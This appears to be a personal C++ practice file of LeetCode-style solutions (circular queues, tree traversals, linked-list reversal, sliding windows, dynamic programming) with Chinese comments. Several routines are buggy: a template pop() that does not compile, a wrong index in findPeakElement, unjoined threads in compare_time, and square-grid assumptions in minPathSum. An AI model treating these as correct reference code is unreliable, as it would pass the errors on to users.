if(dummyp)
dummyp->next = nullptr;
if(dummyq)
dummyq->next = nullptr;
}
if(dummysmall == nullptr)
return dummylarge;
dummyp->next = dummylarge;
return dummysmall;
}
//3000ms内的请求次数统计
class RecentCounter {
public:
RecentCounter() {
}
int ping(int t) {
int count = 1;
for(int i = int(timestamps.size()-1); i >= 0; i--) {
std::cout<<"i: "<<i<<std::endl;
if(timestamps[i] >= (t - 3000))
count++;
else
break;
}
timestamps.push_back(t);
return count;
}
std::vector<int> timestamps;
};
//基于线性表的循环队列实现
class MyCircularQueue {
public:
/** Initialize your data structure here. Set the size of the queue to be k. */
MyCircularQueue(int k) {
data_nums = 0;
size = k;
front_index = 0;
end_index = 0;
queue_data = std::vector<int>(size,-1);
}
/** Insert an element into the circular queue. Return true if the operation is successful. */
bool enQueue(int value) {
if(isFull())
return false;
queue_data[end_index] = value;
end_index = (end_index + 1) % size;
data_nums++;
return true;
}
/** Delete an element from the circular queue. Return true if the operation is successful. */
bool deQueue() {
if(isEmpty())
return false;
front_index = (front_index + 1) % size;
data_nums--;
return true;
}
/** Get the front item from the queue. */
int Front() {
if(isEmpty())
return -1;
return queue_data[front_index];
}
/** Get the last item from the queue. */
int Rear() {
if(isEmpty())
return -1;
int rear_index = end_index - 1;
if(rear_index < 0)
rear_index += size;
return queue_data[rear_index];
}
/** Checks whether the circular queue is empty or not. */
bool isEmpty() {
return data_nums == 0;
}
/** Checks whether the circular queue is full or not. */
bool isFull() {
return data_nums == size;
}
std::vector<int> queue_data;
int data_nums;
int front_index;
int end_index;
int size;
};
// 循环双端队列
class MyCircularDeque {
public:
/** Initialize your data structure here. Set the size of the deque to be k. */
MyCircularDeque(int k) {
queue_data = std::vector<int>(k,-1);
data_nums = 0;
front_index = -1;
end_index = 0;
size = k;
}
/** Adds an item at the front of Deque. Return true if the operation is successful. */
bool insertFront(int value) {
if(isFull())
return false;
if(front_index == -1) {
if(isEmpty()) {
queue_data[0] = value;
front_index = 0; // front_index 指向当前的队首元素
end_index = 1;
} else {
queue_data.back() = value;
front_index = size - 1;
}
} else {
front_index -= 1;
if(front_index < 0)
front_index += size;
queue_data[front_index] = value;
}
data_nums++;
return true;
}
/** Adds an item at the rear of Deque. Return true if the operation is successful. */
bool insertLast(int value) {
if(isFull())
return false;
queue_data[end_index] = value;
end_index = (end_index + 1) % size;
data_nums++;
return true;
}
/** Deletes an item from the front of Deque. Return true if the operation is successful. */
bool deleteFront() {
if(isEmpty())
return false;
front_index = (front_index + 1) % size;
data_nums--;
return true;
}
/** Deletes an item from the rear of Deque. Return true if the operation is successful. */
bool deleteLast() {
if(isEmpty())
return false;
end_index--;
if(end_index < 0)
end_index += size;
data_nums--;
return true;
}
/** Get the front item from the deque. */
int getFront() {
if(isEmpty())
return -1;
return queue_data[front_index];
}
/** Get the last item from the deque. */
int getRear() {
if(isEmpty())
return -1;
int index = end_index - 1;
if(index < 0)
index += size;
return queue_data[index];
}
/** Checks whether the circular deque is empty or not. */
bool isEmpty() {
return data_nums == 0;
}
/** Checks whether the circular deque is full or not. */
bool isFull() {
return data_nums == size;
}
std::vector<int> queue_data;
int data_nums;
int front_index;
int end_index;
int size;
};
// binary tree
// left == left_child right = right_child
std::vector<int> inorderTraversal(TreeNode* root) {
if(!root)
return {};
std::vector<int> result = inorderTraversal(root->left_child);
result.push_back(root->val);
auto right_result = inorderTraversal(root->right_child);
result.insert(result.end(),right_result.begin(),right_result.end());
return result;
}
bool isSameTree(TreeNode* p, TreeNode* q) {
if(p == nullptr && q == nullptr)
return true;
if(p == nullptr & q != nullptr)
return false;
if(p != nullptr && q == nullptr)
return false;
if(p ->val != q->val)
return false;
return isSameTree(p->left_child,q->left_child) &&
isSameTree(p->right_child,q->right_child);
}
//递归的判断是否为相同的树状结构
bool isSubtree(TreeNode* s, TreeNode* t) {
if(s == nullptr)
return false;
if(isSameTree(s, t))
return true;
return isSubtree(s->left_child, t) || isSubtree(s->right_child, t);
}
//左树和右树是否形成对称结构
bool isSymmetric(TreeNode* left_tree, TreeNode* right_tree) {
if(left_tree == nullptr && right_tree == nullptr)
return true;
if(left_tree == nullptr & right_tree != nullptr)
return false;
if(left_tree != nullptr && right_tree == nullptr)
return false;
if(left_tree->val != right_tree->val)
return false;
return isSymmetric(left_tree->left_child,right_tree->right_child) &&
isSymmetric(left_tree->right_child,right_tree->left_child);
}
bool isSymmetric(TreeNode* root) {
if(root == nullptr)
return true;
return isSymmetric(root->left_child,root->right_child);
}
//二叉树的最大深度
int maxDepth(TreeNode* root) {
if(root == nullptr)
return 0;
return 1 + std::max(maxDepth(root->left_child), maxDepth(root->right_child));
}
// 到叶子节点的最小深度
int minDepth(TreeNode* root) {
if(root == nullptr)
return 0;
if(root->left_child == nullptr)
return 1 + minDepth(root->right_child);
if(root->right_child == nullptr)
return 1 + minDepth(root->left_child);
//左右都有才进行深度大小的比较
return 1 + std::min(minDepth(root->left_child),minDepth(root->right_child));
}
// 左右子树高度上是否平衡
// 先求每个节点上的深度
bool isBalanced(TreeNode* root) {
if(root == nullptr)
return true;
int left_depth = maxDepth(root->left_child);
int right_depth = maxDepth(root->right_child);
if(std::abs(left_depth - right_depth) > 1)
return false;
return isBalanced(root->left_child) && isBalanced(root->right_child);
}
// 最大平均数的连续子数组
double findMaxAverage(std::vector<int>& nums, int k) {
// brute force sulation
// int max_sum = std::numeric_limits<int>::min();
// for(int i = 0; i <= nums.size() - k; i++) {
// int sum = 0;
// for(int j = i; j < i + k; j++) {
// sum += nums[j];
// }
// if(sum > max_sum) {
// max_sum = sum;
// }
// }
// return max_sum / double(k);
// sliding window sulation
int start_sum = 0;
for(int i = 0; i < k; i++) {
start_sum += nums[i];
}
int max_sum = start_sum;
int start_window_index = 1;
for(; start_window_index <= nums.size() - k; start_window_index++) {
int tmp_sum = start_sum - nums[start_window_index - 1] + nums[start_window_index + k - 1];
if(tmp_sum > max_sum)
max_sum = tmp_sum;
start_sum = tmp_sum; // 上一阶段的子数组之和
}
return max_sum / double(k);
}
int trap(std::vector<int>& height) {
std::vector<int> left_high(height.size(), 0);
std::vector<int> right_high(height.size(),0);
int left_max = 0;
for(int i = 0; i < int(height.size()); i++) {
left_high.at(i) = left_max;
left_max = std::max(left_max,height[i]);
}
int right_max = 0;
for(int i = height.size() - 1; i >= 0; i--) {
right_high[i] = right_max;
right_max = std::max(right_max, height[i]);
}
int result = 0;
for(int i = 1; i < height.size() - 1; i++) {
int current_height = height[i];
int left_max_height = left_high[i];
int right_max_height = right_high[i];
result += std::max(0, std::min(left_max_height,right_max_height) - current_height);
}
return result;
}
int findPeakElement(std::vector<int>& nums) {
for(int i = 0; i < nums.size(); i++) {
if(i == 0) {
if(nums[i] > nums[i+1])
return 0;
}
if(i == nums.size() - 1) {
if(nums[i] > nums[i-1])
return i-1;
}
if(nums[i] > nums[i-1] && nums[i] > nums[i+1])
return i;
continue;
}
return 0;
}
void zhushi() {
#if 0
std::cout<<"zhushi"<<std::endl;
#endif
#if 1
std::cout<<"not zhushi"<<std::endl;
#endif
}
// 联合体会覆盖内存空间值
union a_union {
struct B {
int x;
int y;
} b;
int k;
};
enum weekday {
sun, mon, the, wed, thu,may,sat
};
struct student
{
int num;
char name[20];
char gender;
};
//使用类的前向声明定义时,只允许使用指针这样不完整的定义
class B;
class A {
public:
private:
B* b;
};
class Application
{
public:
static void f();
static void g();
private:
static int global;
};
int Application::global=0;
void Application::f() { global=5; }
void Application::g() { std::cout<<global<<std::endl;}
// 常对象只能调用其对应的常成员函数
// void print() const; const A a;
// 根据实参调用来确定模版函数中参数的类型,然后编译器生成相应类型的模版函数
template<typename T>
void sort(T& a, int n){
for(int i = 0; i < n; i++) {
for(int j = i+1; j < n; j++) {
if(a[j] > a[i]) {
int tmp = a[i];
a[i] = a[j];
a[j] = tmp;
}
}
}
}
template<typename T>
void display(T& a,int n){
for(int i = 0; i < n;i++) {
std::cout<<a[i]<<" ";
}
std::cout<<std::endl;
}
template<typename T, int MAXSIZE>
class Stack {
private:
int top = -1;
T elem[MAXSIZE];
public:
bool empty() {
if(top <= -1)
return 1;
return 0;
}
bool full() {
if(top >= (MAXSIZE-1))
return 1;
return 0;
}
void push(T e);
T pop();
};
// 模版类定义
template<typename T, int MAXSIZE>
void Stack<T, MAXSIZE>::push(T e) {
if(full()) {
std::cout<<"already full"<<std::endl;
return;
}
elem[++top] = e;
}
template<typename T, int MAXSIZE>
T Stack<T, MAXSIZE>::pop() {
if(empty()) {
std::cout<<"already empty"<<std::endl;
return;
}
return elem[top--];
}
template<typename T>
using Vec = std::vector<T, std::allocator<T>>;
//没有explicit声明,类对象会进行隐式转换
//加入explicit声明,类对象不会进行隐式转换
//final 放在类后面表示该类不能被继承
//final 放在函数后面表示该函数不能被override
//virtual override会做重载虚函数检查
void findOdd(unsigned long long start, unsigned long long end) {
unsigned long long odd_count = 0;
for(unsigned long long i = start; i < end; i++) {
if((i & 1) == 1)
odd_count++;
}
}
void findEven(unsigned long long start, unsigned long long end) {
unsigned long long even_count = 0;
for(unsigned long long i = start; i < end; i++) {
if((i & 1) == 0)
even_count++;
}
}
void compare_time() {
unsigned long long start = 0;
unsigned long long end = 19000000;
auto start_time = std::chrono::high_resolution_clock::now();
findOdd(start, end);
findEven(start, end);
auto end_time = std::chrono::high_resolution_clock::now();
auto duration =
std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time);
std::cout<<"un thread time: "<< duration.count() / 1000000.0 <<"s";
start_time = std::chrono::high_resolution_clock::now();
std::thread t1(findOdd, start, end);
std::thread t2(findEven, start, end);
end_time = std::chrono::high_resolution_clock::now();
duration =
std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time);
std::cout<<"thread time: "<< duration.count() / 1000000.0 <<"s";
}
class Base {
public:
static void func(int n) {
while(n--) {
std::cout<< n << " ";
}
}
};
void run(int count) {
while (count-- > 0) {
std::cout << count << std::endl;
}
std::this_thread::sleep_for(std::chrono::seconds(3));
}
//数据竞争导致数据读写的错误
int sum = 0;
std::mutex m;
void countgold() {
int i; //local to each thread
for (i = 0; i < 10000000; i++) {
sum += 1;
}
}
int string2int(std::string str) {
return std::stoi(str);
}
ListNode* reverseList(ListNode* head) {
if(head == nullptr || head->next == nullptr)
return head;
ListNode* pre_node = head;
ListNode* cur_node = pre_node->next;
pre_node->next = nullptr;
while(cur_node->next != nullptr) {
ListNode* next_node = cur_node->next;
cur_node->next = pre_node;
pre_node = cur_node;
cur_node = next_node;
}
cur_node->next = pre_node;
return cur_node;
}
ListNode* swapPairs(ListNode* head) {
if(head == nullptr || head->next == nullptr)
return head;
ListNode* pre = head;
ListNode* cur = pre->next;
ListNode* result = head->next;
ListNode* next = cur->next;
while(pre != nullptr && cur != nullptr && next != nullptr) {
cur->next = pre;
if(next->next != nullptr)
pre->next = next->next;
else
{
pre->next = next;
}
pre = next;
if(pre == nullptr)
break;
cur = pre->next;
if(cur == nullptr)
break;
next = cur->next;
}
if(cur == nullptr)
return result;
if(next == nullptr) {
cur->next = pre;
pre->next = nullptr;
}
return result;
}
bool hasCycle(ListNode *head) {
if(head == nullptr || head->next == nullptr)
return false;
ListNode* Fast = head->next;
ListNode* Slow = head;
while(Fast != nullptr && Slow != nullptr) {
if(Fast == Slow)
return true;
Slow = Slow->next;
if(Fast->next == nullptr)
return false;
Fast = Fast->next->next;
}
return false;
}
class KthLargest {
public:
KthLargest(int k, std::vector<int>& nums) {
k_ = k;
for(int i : nums) {
if(q.size() < k)
q.push(i);
else
{
if(i > q.top()) {
q.pop();
q.push(i);
}
}
}
}
int add(int val) {
if(q.size() < k_) {
q.push(val);
return q.top();
}
if(val <= q.top())
return q.top();
q.pop();
q.push(val);
return q.top();
}
std::priority_queue<int, std::vector<int>, std::greater<int> > q;
int k_;
};
/**
* Your KthLargest object will be instantiated and called as such:
* KthLargest* obj = new KthLargest(k, nums);
* int param_1 = obj->add(val);
*/
//用双端队列deque求解sliding window问题
std::vector<int> maxSlidingWindow(std::vector<int>& nums, int k) {
std::vector<int> results;
return results;
}
bool isAnagram(std::string s, std::string t) {
std::unordered_map<char, int> char_count;
for(char c : s) {
if(char_count.count(c) == 0)
char_count[c] = 1;
else
{
char_count[c] ++;
}
}
for(char c : t) {
if(char_count[c] == 0)
return false;
else
{
char_count[c]--;
}
}
for(auto e : char_count) {
if(e.second != 0)
return false;
}
return true;
}
std::vector<std::vector<int>> threeSum_1(std::vector<int>& nums) {
std::vector<std::vector<int>> results;
std::map<int,int> num_count;
for(int& num : nums) {
if(num_count.count(num) == 0)
num_count[num] = 1;
else {
num_count[num] += 1;
}
}
for(int i = 0; i < nums.size(); i++) {
for(int j = i+1; j < nums.size(); j++) {
int target_num = -(nums[i] + nums[j]);
int count = 1;
if(target_num == nums[i])
count++;
if(target_num == nums[j])
count++;
if(num_count[target_num] == count)
results.push_back({nums[i], nums[j], target_num});
}
}
return results;
}
//中序遍历的二叉搜索树是一个升序的结构
void inorder_tranverce(TreeNode* root, std::vector<int>& results) {
if(root == nullptr)
return;
inorder_tranverce(root->left_child, results);
results.push_back(root->val);
inorder_tranverce(root->right_child, results);
}
//找二叉搜索树中的众数
std::vector<int> findMode(TreeNode* root) {
std::vector<int> results;
inorder_tranverce(root, results);
if(results.size() < 2)
return results;
// value and count
std::vector<std::pair<int, int>> final_results;
final_results.push_back({results.front(), 1});
for(int i = 1; i < results.size(); i++) {
if(results[i] == results[i-1])
final_results.back().second++;
else {
final_results.push_back({results[i], 1});
}
}
std::sort(final_results.begin(), final_results.end(), [](std::pair<int, int> a,
std::pair<int, int> b){
return a.second > b.second;
});
std::vector<int> mode_result;
mode_result.push_back(final_results[0].first);
for(int i = 1; i < final_results.size(); i++) {
if(final_results[i].second != final_results[i-1].second)
break;
else
mode_result.push_back(final_results[i].first);
}
return mode_result;
}
int getMinimumDifference(TreeNode* root) {
std::vector<int> results;
inorder_tranverce(root, results);
int result = std::numeric_limits<int>::max();
for(int i = 0; i < results.size()-1; i++) {
result = std::min(result, std::abs(results[i+1] - results[i]));
}
return result;
}
bool isValidBST(TreeNode* root) {
std::vector<int> inorder_results;
inorder_tranverce(root, inorder_results);
for(size_t i = 0; i < inorder_results.size() - 1; i++) {
if(inorder_results[i+1] <= inorder_results[i])
return false;
}
return true;
}
//二叉搜索树的最近公共祖先
TreeNode* lowestCommonAncestor_BST(TreeNode* root, TreeNode* p, TreeNode* q) {
if(root == nullptr || p == nullptr || q == nullptr)
return root;
if(p->val < root->val && q->val > root->val)
return root;
if(p->val < root->val && q->val < root->val)
return lowestCommonAncestor_BST(root->left_child, p, q);
if(p->val > root->val && q->val > root->val)
return lowestCommonAncestor_BST(root->right_child, p, q);
return root;
}
//二叉树的最近公共祖先
TreeNode* lowestCommonAncestor(TreeNode* root, TreeNode* p, TreeNode* q) {
if(root == nullptr || root == p || root == q)
return root;
TreeNode* left = lowestCommonAncestor(root->left_child, p, q);
TreeNode* right = lowestCommonAncestor(root->right_child, p, q);
if(left == nullptr)
return right;
if(right == nullptr)
return left;
return root;
}
//递归计算
double myPow(double x, int n) {
//return std::pow(x,n);
if(n == 0 && x != 0)
return 1;
if(n < 0)
return 1 / myPow(x, -n);
double pow = 1;
if(n % 2 == 1)
return x * myPow(x * x, n / 2);
return myPow(x * x, n / 2);
}
//二叉树层次遍历输出
//把这一层的先消耗掉,再推入下一层的元素
std::vector<std::vector<int>> levelOrder(TreeNode* root) {
std::vector<std::vector<int>> results;
if(root == nullptr)
return results;
std::queue<TreeNode*> q;
q.push(root);
while(!q.empty()) {
std::vector<int> result;
std::vector<TreeNode*> current_level_nodes;
//记录当前层级的节点
while(!q.empty()) {
result.push_back(q.front()->val);
current_level_nodes.push_back(q.front());
q.pop();
}
results.push_back(result);
for(auto& node : current_level_nodes) {
if(node->left_child != nullptr)
q.push(node->left_child);
if(node->right_child != nullptr)
q.push(node->right_child);
}
}
return results;
}
//left right代表已经用了的括号的个数
void gen_helper(int n, int left, int right, std::string str ,std::vector<std::string>& results) {
if(left == n && right == n) {
results.push_back(str);
return;
}
if(left < n) {
gen_helper(n, left+1, right, str + "(", results);
}
if(right < n && right < left) {
gen_helper(n, left, right+1,str + ")",results);
}
}
//生成有效的括号集合
std::vector<std::string> generateParenthesis(int n) {
std::vector<std::string> results;
std::string str = "";
gen_helper(n, 0, 0, str, results);
return results;
}
int sumNums(int n) {
bool b = (n > 0) && (n += sumNums(n-1));
return n;
}
bool isPowerOfTwo2(int n) {
if(n <= 0)
return false;
return (n & (n-1)) == 0;
}
int hammingWeight2(uint32_t n) {
int count = 0;
while(n) {
count++;
n = n & (n-1);
}
return count;
}
int singleNumber2(std::vector<int>& nums) {
std::unordered_map<int, int> num_count;
for(int i = 0; i < nums.size(); i++) {
if(num_count.count(nums[i]) == 0) {
num_count[nums[i]] = 1;
} else {
num_count[nums[i]]++;
}
}
for(auto iter = num_count.begin(); iter != num_count.end(); iter++){
if(iter->second == 1)
return iter->first;
}
return -1;
}
int singleNumber3(std::vector<int>& nums) {
//去重 * 3 ,相减再除以2
return 0;
}
//让偶数排到奇数之前
//记录奇数的索引,遇到偶数的时候不断进行交换
std::vector<int> sortArrayByParity(std::vector<int>& A) {
std::vector<int> odd_index;
for(int i = 0; i < A.size(); i++) {
if(((A[i] % 2) == 0) && !odd_index.empty()) {
std::swap(A[i], A[odd_index.front()]);
odd_index.erase(odd_index.begin());
}
if((A[i] % 2) == 1)
odd_index.push_back(i);
}
return A;
}
// o(n^2) soluation
int maxSubArray1(std::vector<int>& nums) {
int len = nums.size();
int dp[len][len];
dp[0][0] = nums[0];
int max_result = dp[0][0];
for(int j = 1; j < nums.size(); j++) {
dp[0][j] = dp[0][j-1] + nums[j];
max_result = std::max(max_result, dp[0][j]);
}
for(int i = 1; i < nums.size(); i++) {
dp[i][i] = nums[i];
max_result = std::max(max_result, dp[i][i]);
}
for(int i = 1; i < nums.size(); i++) {
for(int j = i+1; j < nums.size(); j++) {
dp[i][j] = dp[i][j-1] + nums[j];
max_result = std::max(max_result, dp[i][j]);
}
}
return max_result;
}
// dp[i]=max(nums[i], dp[i−1]+nums[i])
// dp[i]表示以i结尾的序列
int maxSubArray(std::vector<int>& nums) {
int dp[nums.size()];
dp[0] = nums[0];
int max_result = dp[0];
for(int i = 1; i < nums.size(); i++) {
dp[i] = std::max(dp[i-1] + nums[i], nums[i]);
max_result = std::max(max_result, dp[i]);
}
return max_result;
}
//dp[i] = max(dp[j]+1,dp[k]+1,dp[p]+1,.....)
//dp[i]表示以i结尾的最长上升序列的长度, 最小长度为1
int lengthOfLIS(std::vector<int>& nums) {
int dp[nums.size()];
dp[0] = 1;
int max_result = dp[0];
for(int i = 1; i < nums.size(); i++) {
dp[i] = 1;
for(int j = 0; j < i; j++) {
if(nums[j] < nums[i]) {
dp[i] = std::max(dp[i], dp[j] + 1);
}
}
max_result = std::max(max_result, dp[i]);
}
return max_result;
}
//三角形的最小路径和
int minimumTotal(std::vector<std::vector<int>>& triangle) {
int row = triangle.size();
int dp[row][row];
dp[0][0] = triangle[0][0];
dp[1][0] = dp[0][0] + triangle[1][0];
dp[1][1] = dp[0][0] + triangle[1][1];
for(int i = 2; i < row; i++) {
for(int j = 0; j < row; j++) {
if(j == 0) {
dp[i][j] = dp[i-1][j] + triangle[i][j];
} else if(j == i) {
dp[i][j] = dp[i-1][j-1] + triangle[i][j];
} else {
dp[i][j] = std::min(dp[i-1][j-1] + triangle[i][j],
dp[i-1][j] + triangle[i][j]);
}
}
}
int min_result = dp[row-1][0];
for(int i = 1; i < row; i++) {
min_result = std::min(min_result, dp[row-1][i]);
}
return min_result;
}
int minPathSum(std::vector<std::vector<int>>& grid) {
int row = grid.size();
int dp[row][row];
dp[0][0] = grid[0][0];
for(int i = 1; i < grid.size(); i++) {
dp[0][i] = dp[0][i-1] + grid[0][i];
}
for(int i = 1; i < grid.size(); i++) {
dp[i][0] = dp[i-1][0] + grid[i][0];
}
for(int i = 1; i < row; i++) {
for(int j = 1; j < row; j++) {
dp[i][j] = std::min(dp[i][j-1] + grid[i][j],
dp[i-1][j] + grid[i][j]);
}
}
return dp[row-1][row-1];
}
int rob(std::vector<int>& nums) {
int col = nums.size();
int dp[col];
dp[0] = nums[0];
dp[1] = nums[1];
dp[2] = dp[0] + nums[2];
for(int i = 3; i < col; i++) {
dp[i] = std::max(dp[i-2], dp[i-3]) + nums[i];
}
return std::max(dp[col-2], dp[col-1]);
}
TreeNode* searchBST(TreeNode* root, int val) {
while(root) {
if(root->val == val)
return root;
if(root->val < val)
root = root->right_child;
if(root->val > val)
root = root->left_child;
}
return nullptr;
}
/*
5
3 7
2 4 6 9
*/
// TreeNode* deleteNode(TreeNode* root, int key) {
// TreeNode* will_delete_node = root;
// TreeNode* will_delete_node_parent = root;
// while(will_delete_node) {
// if(will_delete_node->val == key) {
// break;
// }
// else if(will_delete_node->val < key) {
// will_delete_node_parent = will_delete_node_parent;
// will_delete_node = will_delete_node->right_child;
// } else {
// will_delete_node_parent = will_delete_node;
// will_delete_node = will_delete_node->left_child;
// }
// }
// if(will_delete_node == nullptr)
// return root;
// if(will_delete_node->left_child == nullptr && will_delete_node->right_child == nullptr) {
// if(will_delete_node_parent->val == will_delete_node->val)
// return nullptr;
// else if(will_delete_node_parent->val > will_delete_node->val);
// will_delete_node_parent->left_child = nullptr;
// else
// will_delete_node_parent->right_child = nullptr;
// return root;
// }
// else if(will_delete_node->left_child == nullptr) {
// if(will_delete_node_parent->val > will_delete_node->val)
// will_delete_node_parent->left_child = will_delete_node->right_child;
// else
// will_delete_node_parent->right_child = will_delete_node->right_child;
// return root;
// }
// else if(will_delete_node->right_child == nullptr) {
// if(will_delete_node_parent->val > will_delete_node->val)
// will_delete_node_parent->left_child = will_delete_node->left_child;
// else
// will_delete_node_parent->right_child = will_delete_node->left_child;
// return root;
// }
// else {
// TreeNode* max_in_left = will_delete_node->right_child;
// while(max_in_left->right_child != nullptr) {
// max_in_left = max_in_left->right_child;
// }
// TreeNode* min_in_right_parent = will_delete_node;
// TreeNode* min_in_right = will_delete_node->right;
// bool is1 = false;
// while(min_in_right->left != nullptr) {
// min_in_right_parent = min_in_right;
// min_in_right = min_in_right->left;
// is1 = true;
// }
// will_delete_node->val = min_in_right->val;
// if(!is1)
// min_in_right_parent->right = nullptr;
// else
// min_in_right_parent->left = nullptr;
// }
// return root;
// }
void TraverseTree(TreeNode* root, int& count) {
if(root == nullptr)
return;
count += 1;
TraverseTree(root->left_child, count);
TraverseTree(root->right_child, count);
}
int countNodes(TreeNode* root) {
int count = 0;
TraverseTree(root, count);
return count;
}
TreeNode* pruneTree(TreeNode* root) {
if(root == nullptr)
return nullptr;
root->left_child = pruneTree(root->left_child);
root->right_child = pruneTree(root->right_child);
if(root->left_child == nullptr && root->right_child == nullptr && root->val == 0) {
return nullptr;
}
return root;
}
std::vector<int> maxSlidingWindow1(std::vector<int>& nums, int k) {
std::deque<int> max_element_index;
std::vector<int> results;
for(int i = 0; i < nums.size(); i++) {
//模拟向右滑动
if(!max_element_index.empty() && max_element_index.front() <= (i - k))
max_element_index.pop_front();
//从后往前弄掉比它小的元素
while(!max_element_index.empty() && nums[i] > nums[max_element_index.back()]) {
max_element_index.pop_back();
}
max_element_index.push_back(i);
if(i >= (k-1))
results.push_back(nums[max_element_index.front()]);
}
return results;
}
int lengthOfLongestSubstring(std::string s) {
int max_result = 0;
int i = 0;
int j = 0;
std::set<char> cs;
while(i < s.size() && j < s.size()) {
if(cs.count(s[j]) == 0) {
cs.insert(s[j]);
j++;
} else {
//重复出现的,不断删除,删除到j前面
cs.erase(s[i]);
i++;
}
max_result = std::max(max_result, j - i);
}
return max_result;
}
bool isMapSame(int* p_map, int* q_map) {
for(int i = 0; i < 26; i++) {
if(p_map[i] != q_map[i])
return false;
}
return true;
}
std::vector<int> findAnagrams(std::string s, std::string p) {
std::vector<int> result;
int p_map[26], q_map[26];
for(int i = 0; i < 26; i++) {
p_map[i] = 0;
q_map[i] = 0;
}
for(int i = 0; i < p.size(); i++) {
p_map[p[i] - 'a']++;
}
int i = 0;
int j = p.size() - 1;
for(int i = 0; i < p.size(); i++) {
q_map[s[i] - 'a']++;
}
while(j < s.size()) {
if(isMapSame(p_map, q_map))
result.push_back(i);
q_map[s[i] - 'a']--;
i++;
j++;
q_map[s[j] - 'a']++;
}
return result;
}
std::vector<std::vector<int>> levelOrderBottom(TreeNode* root) {
std::vector<std::vector<int>> results;
std::queue<TreeNode*> node_queue;
if(root == nullptr)
return results;
node_queue.push(root);
while(!node_queue.empty()) {
//记录当前层的元素的个数
int level_num = node_queue.size();
std::vector<int> result;
for(int i = 0; i < level_num; i++) {
TreeNode* node = node_queue.front();
node_queue.pop();
result.push_back(node->val);
if(node->left_child)
node_queue.push(node->left_child);
if(node->right_child)
node_queue.push(node->right_child);
}
results.insert(results.begin(), result);
}
return results;
}
//根据异或值对两个不同的值进行分组,基于异或值找到mask
std::vector<int> singleNumbers(std::vector<int>& nums) {
int k = 0;
for(auto num : nums) {
k ^= num;
}
int mask = 1;
while((k & mask) == 0)
mask = mask << 1;
//mask只有1位为1
int a = 0;
int b = 0;
for(auto num : nums) {
if((num & mask) == 0)
a ^= num;
else
b ^= num;
}
return std::vector<int>{a, b};
}
/* input:
1 2 3 4
5 6 7 8
9 10 11 12
output: 1 2 3 4 8 12 11 10 9 5 6 7
7
9
6
关键是把索引序号弄正确了就好
*/
std::vector<int> spiralOrder(std::vector<std::vector<int>>& matrix) {
int rows = matrix.size();
int cols = matrix.front().size();
int levels = std::round(std::min(rows, cols) / 2.0);
std::cout<< levels << std::endl;
std::vector<int> results;
for(int i = 0; i < levels; i++) {
// top row of every level
for(int j = i; j < cols - i; j++) {
results.push_back(matrix[i][j]);
}
// right col of every level
for(int j = i+1; j < rows - i - 1 && (rows - i - 1) > i; j++) {
results.push_back(matrix[j][cols-1-i]);
}
// bottom row of every level
for(int j = cols-i-1; j >= i && (rows - 1 - i) > i; j--) {
results.push_back(matrix[rows-1-i][j]);
}
// left col of every level
for(int j = rows - 2 - i; j >= i + 1 && i < (cols - 1- i); j--) {
results.push_back(matrix[j][i]);
}
}
return results;
}
/*
前序遍历 preorder = [3,9,20,15,7]
中序遍历 inorder = [9,3,15,20,7]
output:
3
/ \
9 20
/ \
15 7
[1, 2], [1, 2]
[1,2,3], [3,2,1]
1
/ \
2
/
3
*/
TreeNode* buildTree(std::vector<int>& preorder, std::vector<int>& inorder) {
if(preorder.empty())
return nullptr;
if(preorder.size() == 1) {
return new TreeNode(preorder[0]);
}
TreeNode* root = new TreeNode(preorder[0]);
int root_index_inorder = 0;
for(int i = 0; i < inorder.size(); i++) {
if(inorder[i] == preorder[0]) {
root_index_inorder = i;
break;
}
}
std::vector<int> left_in_order;
for(int i = 0; i < root_index_inorder; i++) {
left_in_order.push_back(inorder[i]);
}
std::vector<int> right_in_order;
for(int i = root_index_inorder+1; i < inorder.size(); i++) {
right_in_order.push_back(inorder[i]);
}
std::vector<int> left_pre_order;
std::vector<int> right_pre_order;
if(root_index_inorder == 0) {
right_pre_order = std::vector<int>(preorder.begin() + 1, preorder.end());
} else {
int last_elemetn_in_left = inorder[root_index_inorder -1];
for(int i = 1; i < preorder.size(); i++) {
if(preorder[i] == last_elemetn_in_left) {
left_pre_order.insert(left_pre_order.end(), preorder.begin() + 1, preorder.begin() + i + 1);
right_pre_order.insert(right_pre_order.end(), preorder.begin() + i + 1, preorder.end());
}
}
root->left_child = buildTree(left_pre_order, left_in_order);
}
root->right_child = buildTree(right_pre_order, right_in_order);
return root;
}
//走过的路的长度一致就相遇了, 通过节点的交换来保证相遇
ListNode *getIntersectionNode(ListNode *headA, ListNode *headB) {
ListNode* node1 = headA;
ListNode* node2 = headB;
while(node1 != node2) {
if(node1 != nullptr)
node1 = node1->next; // node1 may be nullptr
else
node1 = headB;
if(node2 != nullptr)
node2 = node2->next;
else
node2 = headA;
}
return node1;
}
// a simple two-dimension dynamic programming
int maxValue(std::vector<std::vector<int>>& grid) {
int rows = grid.size();
int cols = grid.front().size();
std::vector<std::vector<int>> values(rows, std::vector<int>(cols, 0));
values[0][0] = grid[0][0];
for(int i = 1; i < cols; i++) {
values[0][i] = values[0][i-1] + grid[0][i];
}
for(int i = 1; i < rows; i++) {
values[i][0] = values[i-1][0] + grid[i][0];
}
for(int i = 1; i < cols; i++) {
for(int j = 1; j < rows; j++) {
values[j][i] = std::max(values[j][i-1], values[j-1][i]) + grid[j][i];
}
}
return values[rows-1][cols-1];
}
// [1 3 2 6 5] is correct post order
// 分离开左右, 然后递归的验证二叉搜索树的特性,左边的比根部小,右边的比根部大
bool verifyPostorder(std::vector<int>& postorder) {
if(postorder.empty())
return true;
std::vector<int> left_part;
std::vector<int> right_part;
int root_value = postorder.back();
for(int i = 0; i < postorder.size()-1; i++) {
if(postorder[i] < root_value)
left_part.push_back(postorder[i]);
else {
right_part = std::vector<int>(postorder.begin() + i, postorder.end()-1);
break;
}
}
for(int i = 0; i < right_part.size(); i++) {
if(right_part[i] < root_value)
return false;
}
return verifyPostorder(left_part) && verifyPostorder(right_part);
}
//找到合适的一行,开始向左向下滑动 (row++) (col--)
bool findNumberIn2DArray(std::vector<std::vector<int>>& matrix, int target) {
if(matrix.empty() || matrix.front().empty())
return false;
int start_row = -1;
int rows = matrix.size();
int cols = matrix.front().size();
for(int i = 0; i < rows; i++) {
if(target < matrix[i][cols - 1]) {
start_row = i;
break;
}
if(target == matrix[i][cols-1])
return true;
}
if(start_row < 0)
return false;
int start_col = cols-2;
while(1) {
if(start_row > (rows-1) || start_col < 0)
return false;
if(target == matrix[start_row][start_col])
return true;
else if(target < matrix[start_row][start_col])
start_col--;
else
start_row++;
}
return false;
}
